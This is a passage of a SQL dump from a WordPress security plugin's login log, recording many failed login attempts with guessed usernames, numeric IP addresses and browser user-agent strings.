(102397, 1498688460.233047, 1, 'loginFailValidUsername', 'admin', 1, 2970975037, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102398, 1498688607.035809, 1, 'loginFailValidUsername', 'admin', 1, 2204950530, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102399, 1498688608.663611, 1, 'loginFailValidUsername', 'admin', 1, 2204950530, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102400, 1498689301.650388, 1, 'loginFailValidUsername', 'admin', 1, 3185120017, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102401, 1498690202.664396, 1, 'loginFailInvalidUsername', 'pour', 0, 3105930270, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102402, 1498690858.193113, 1, 'loginFailValidUsername', 'pablo', 3, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102403, 1498690860.017046, 1, 'loginFailInvalidUsername', 'vous', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102404, 1498690861.806926, 1, 'loginFailInvalidUsername', 'training', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102405, 1498690863.746675, 1, 'loginFailInvalidUsername', 'notre', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102406, 1498690865.551388, 1, 'loginFailInvalidUsername', 'pour', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102407, 1498690867.788825, 1, 'loginFailInvalidUsername', 'cross', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1');
INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(102408, 1498690869.611103, 1, 'loginFailInvalidUsername', 'objectifs', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102409, 1498690871.454729, 1, 'loginFailInvalidUsername', 'venez', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102410, 1498690873.465881, 1, 'loginFailInvalidUsername', 'outils', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102411, 1498690875.468181, 1, 'loginFailInvalidUsername', 'professionnel', 0, 3497117403, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102412, 1498691064.397826, 1, 'loginFailValidUsername', 'admin', 1, 1096590283, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102642, 1499010934.836393, 1, 'loginFailInvalidUsername', 'test', 0, 3317472021, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102643, 1499010937.959518, 1, 'loginFailInvalidUsername', 'test', 0, 3317472021, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102644, 1499011298.149185, 1, 'loginFailInvalidUsername', 'test', 0, 3106308979, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102645, 1499011299.076247, 1, 'loginFailInvalidUsername', 'test', 0, 3106308979, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102646, 1499011517.593721, 1, 'loginFailInvalidUsername', '{login}', 0, 3632859043, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102647, 1499011994.587054, 1, 'loginFailInvalidUsername', 'test', 0, 1451120174, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102648, 1499011995.546894, 1, 'loginFailInvalidUsername', 'test', 0, 1451120174, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102649, 1499013180.780896, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1046696106, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102650, 1499014842.564839, 1, 'loginFailValidUsername', 'admin', 1, 1521628529, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102651, 1499015275.147941, 1, 'loginFailInvalidUsername', 'test', 0, 3171206256, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102652, 1499015276.520983, 1, 'loginFailInvalidUsername', 'test', 0, 3171206256, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102653, 1499016504.377823, 1, 'loginFailInvalidUsername', '{login}', 0, 1521711259, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102654, 1499017018.362353, 1, 'loginFailInvalidUsername', 'test', 0, 3319952174, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102655, 1499018143.406438, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1834071249, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102656, 1499018659.081093, 1, 'loginFailInvalidUsername', 'test', 0, 762636584, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102657, 1499018660.953592, 1, 'loginFailInvalidUsername', 'test', 0, 762636584, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102658, 1499022034.170033, 1, 'loginFailInvalidUsername', 'test', 0, 1891930274, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102659, 1499022035.457034, 1, 'loginFailInvalidUsername', 'test', 0, 1891930274, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102660, 1499023000.790644, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1307655567, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102661, 1499024676.207927, 1, 'loginFailValidUsername', 'admin', 1, 1521617220, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102662, 1499025056.187251, 1, 'loginFailInvalidUsername', 'test', 0, 632731739, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102663, 1499025057.224043, 1, 'loginFailInvalidUsername', 'test', 0, 632731739, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102664, 1499031006.582238, 1, 'loginFailInvalidUsername', 'test', 0, 1363303233, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102665, 1499031161.165564, 1, 'loginFailInvalidUsername', '{login}', 0, 774364586, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102666, 1499032738.360061, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1582958461, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102667, 1499037587.588290, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 774362247, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102668, 1499037976.423712, 1, 'loginFailInvalidUsername', 'test', 0, 1835389978, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102669, 1499037978.690519, 1, 'loginFailInvalidUsername', 'test', 0, 1835389978, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102670, 1499038048.377784, 1, 'loginFailInvalidUsername', 'test', 0, 2630741534, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102671, 1499038049.514564, 1, 'loginFailInvalidUsername', 'test', 0, 2630741534, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102672, 1499039147.888911, 1, 'loginFailInvalidUsername', 'test', 0, 3560722714, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102673, 1499039347.529170, 1, 'loginFailInvalidUsername', 'test', 0, 529683379, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102674, 1499039348.576926, 1, 'loginFailInvalidUsername', 'test', 0, 529683379, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102675, 1499041026.478001, 1, 'loginFailInvalidUsername', 'test', 0, 704190390, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102676, 1499041028.720948, 1, 'loginFailInvalidUsername', 'test', 0, 704190390, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102677, 1499041593.395358, 1, 'loginFailInvalidUsername', 'test', 0, 1435830550, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102678, 1499042413.025713, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1833976227, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102679, 1499043037.971001, 1, 'loginFailInvalidUsername', 'test', 0, 2998448244, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102680, 1499043039.133260, 1, 'loginFailInvalidUsername', 'test', 0, 2998448244, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102681, 1499043948.309728, 1, 'loginFailInvalidUsername', 'test', 0, 2982301914, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102682, 1499043949.678140, 1, 'loginFailInvalidUsername', 'test', 0, 2982301914, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102683, 1499044023.285588, 1, 'loginFailValidUsername', 'admin', 1, 1834070804, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102684, 1499045004.711710, 1, 'loginFailValidUsername', 'admin', 1, 3291887408, 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0'),
(102685, 1499045678.248040, 1, 'loginFailInvalidUsername', 'test', 0, 1544811101, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102686, 1499045686.727986, 1, 'loginFailInvalidUsername', '{login}', 0, 1309122769, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102687, 1499046578.785211, 1, 'loginFailInvalidUsername', 'test', 0, 737995010, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102688, 1499046580.589129, 1, 'loginFailInvalidUsername', 'test', 0, 737995010, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102689, 1499047263.555072, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1482953492, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102690, 1499048881.924652, 1, 'loginFailValidUsername', 'admin', 1, 1439668073, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102691, 1499049012.991906, 1, 'loginFailInvalidUsername', 'test', 0, 1570530821, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102692, 1499050520.928040, 1, 'loginFailInvalidUsername', '{login}', 0, 3134781161, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102693, 1499051283.717390, 1, 'loginFailValidUsername', 'admin', 1, 1315772161, 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)'),
(102694, 1499052141.879492, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1521598392, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102695, 1499053719.825589, 1, 'loginFailValidUsername', 'admin', 1, 1541066812, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102696, 1499053720.118750, 1, 'loginFailValidUsername', 'admin', 1, 90324398, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102697, 1499055289.534467, 1, 'loginFailInvalidUsername', '{login}', 0, 1387955566, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102698, 1499055656.364880, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1539836950, 'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/533.93.56 (KHTML, like Gecko) Version/5.5.0 Safari/532.10'),
(102699, 1499056807.504790, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1835212082, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102700, 1499058376.422645, 1, 'loginFailValidUsername', 'admin', 1, 1335524237, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102701, 1499059726.714206, 1, 'loginFailInvalidUsername', 'test', 0, 1293776065, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102702, 1499059727.833472, 1, 'loginFailInvalidUsername', 'test', 0, 1293776065, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102703, 1499060078.128560, 1, 'loginFailInvalidUsername', 'test', 0, 1570530821, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102704, 1499060079.055197, 1, 'loginFailInvalidUsername', 'test', 0, 1570530821, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102705, 1499061891.204035, 1, 'loginFailValidUsername', 'pablo', 3, 3230789411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102706, 1499061894.345077, 1, 'loginFailInvalidUsername', 'vous', 0, 3230789411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102707, 1499061896.454121, 1, 'loginFailInvalidUsername', 'training', 0, 3230789411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102708, 1499061898.681291, 1, 'loginFailInvalidUsername', 'notre', 0, 3230789411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102709, 1499061900.820032, 1, 'loginFailInvalidUsername', 'pour', 0, 3230789411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102710, 1499061902.983269, 1, 'loginFailInvalidUsername', 'cross', 0, 3230789411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102711, 1499061905.142334, 1, 'loginFailInvalidUsername', 'objectifs', 0, 3230789411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102712, 1499061907.620757, 1, 'loginFailInvalidUsername', 'venez', 0, 3230789411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102713, 1499061909.795708, 1, 'loginFailInvalidUsername', 'outils', 0, 3230789411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102714, 1499061912.004307, 1, 'loginFailInvalidUsername', 'professionnel', 0, 3230789411, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102715, 1499062347.719616, 1, 'loginFailInvalidUsername', 'test', 0, 3065682442, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102716, 1499062349.309837, 1, 'loginFailInvalidUsername', 'test', 0, 3065682442, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102717, 1499063075.051007, 1, 'loginFailValidUsername', 'admin', 1, 1534992972, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102718, 1499063259.507156, 1, 'loginFailInvalidUsername', 'travail', 0, 3497108325, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102719, 1499063547.129948, 1, 'loginFailInvalidUsername', 'test', 0, 1978637058, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102720, 1499063549.077910, 1, 'loginFailInvalidUsername', 'test', 0, 1978637058, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102721, 1499064666.461268, 1, 'loginFailInvalidUsername', '{login}', 0, 1541066812, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0');
INSERT INTO `wp_wfLogins` (`id`, `ctime`, `fail`, `action`, `username`, `userID`, `IP`, `UA`) VALUES
(102722, 1499066218.878886, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 3279479929, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102723, 1499067738.696639, 1, 'loginFailInvalidUsername', 'test', 0, 3670527750, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102724, 1499067740.239982, 1, 'loginFailInvalidUsername', 'test', 0, 3670527750, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102725, 1499067777.725797, 1, 'loginFailValidUsername', 'admin', 1, 998235371, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102726, 1499070842.274753, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1833242594, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102727, 1499071392.195868, 1, 'loginFailValidUsername', 'admin', 1, 3344407295, 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; chromeframe/28.0.1500.37; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E)'),
(102728, 1499072407.184723, 1, 'loginFailValidUsername', 'admin', 1, 1424509955, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102729, 1499072454.078715, 1, 'loginFailInvalidUsername', 'test', 0, 1892205804, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102730, 1499072455.924951, 1, 'loginFailInvalidUsername', 'test', 0, 1892205804, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102731, 1499072826.760383, 1, 'loginFailInvalidUsername', 'test', 0, 3667643457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102732, 1499072828.255731, 1, 'loginFailInvalidUsername', 'test', 0, 3667643457, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102733, 1499074064.925814, 1, 'loginFailInvalidUsername', '{login}', 0, 3105429741, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102734, 1499074831.107970, 1, 'loginFailInvalidUsername', 'test', 0, 2943245315, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102735, 1499074832.898561, 1, 'loginFailInvalidUsername', 'test', 0, 2943245315, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102736, 1499075655.533870, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1828828346, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102737, 1499077264.352548, 1, 'loginFailValidUsername', 'admin', 1, 1406483535, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102738, 1499078897.957499, 1, 'loginFailInvalidUsername', '{login}', 0, 3107039351, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102739, 1499079481.173916, 1, 'loginFailInvalidUsername', 'test', 0, 48928952, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102740, 1499079482.175091, 1, 'loginFailInvalidUsername', 'test', 0, 48928952, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102741, 1499080553.931040, 1, 'loginFailInvalidUsername', 'crosstrainingcenter', 0, 1564345887, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102742, 1499081829.866750, 1, 'loginFailInvalidUsername', 'test', 0, 1344927053, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102743, 1499081830.813709, 1, 'loginFailInvalidUsername', 'test', 0, 1344927053, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102744, 1499082106.261735, 1, 'loginFailInvalidUsername', 'test', 0, 1887825188, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102745, 1499082107.499325, 1, 'loginFailInvalidUsername', 'test', 0, 1887825188, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102746, 1499082134.675287, 1, 'loginFailValidUsername', 'admin', 1, 2537172334, 'Mozilla/5.0 (Windows NT 5.1; rv:29.0) Gecko/20100101 Firefox/29.0'),
(102747, 1499084454.257570, 1, 'loginFailInvalidUsername', 'test', 0, 1768455669, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102748, 1499084455.415793, 1, 'loginFailInvalidUsername', 'test', 0, 1768455669, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
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(102972, 1499274442.880744, 1, 'loginFailInvalidUsername', 'test', 0, 1450921007, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102973, 1499275902.936555, 1, 'loginFailInvalidUsername', 'test', 0, 2631915670, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102974, 1499276999.277692, 1, 'loginFailInvalidUsername', 'test', 0, 762526630, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102975, 1499277000.596993, 1, 'loginFailInvalidUsername', 'test', 0, 762526630, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102976, 1499278197.785928, 1, 'loginFailInvalidUsername', 'training', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102977, 1499278204.218670, 1, 'loginFailInvalidUsername', 'notre', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102978, 1499278209.048969, 1, 'loginFailInvalidUsername', 'pour', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102979, 1499278213.927037, 1, 'loginFailInvalidUsername', 'cross', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102980, 1499278219.947323, 1, 'loginFailInvalidUsername', 'objectifs', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102981, 1499278222.466487, 1, 'loginFailInvalidUsername', 'venez', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102982, 1499278226.474776, 1, 'loginFailInvalidUsername', 'outils', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102983, 1499278231.460150, 1, 'loginFailInvalidUsername', 'professionnel', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102984, 1499278234.891029, 1, 'loginFailInvalidUsername', 'travail', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102985, 1499278239.395744, 1, 'loginFailInvalidUsername', 'namur', 0, 2954879402, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102986, 1499278472.380439, 1, 'loginFailInvalidUsername', 'test', 0, 1329838193, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102987, 1499278473.277611, 1, 'loginFailInvalidUsername', 'test', 0, 1329838193, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102988, 1499278808.089927, 1, 'loginFailInvalidUsername', 'test', 0, 2631371549, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102989, 1499278809.185603, 1, 'loginFailInvalidUsername', 'test', 0, 2631371549, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102990, 1499279369.878585, 1, 'loginFailInvalidUsername', 'test', 0, 1524322520, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102991, 1499279370.837397, 1, 'loginFailInvalidUsername', 'test', 0, 1524322520, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'),
(102992, 1499279619.069371, 1, 'loginFailInvalidUsername', 'center', 0, 1081048870, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102993, 1499280642.169164, 1, 'loginFailInvalidUsername', 'outils', 0, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
(102994, 1499280645.983448, 1, 'loginFailInvalidUsername', 'professionnel', 0, 3705171747, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'),
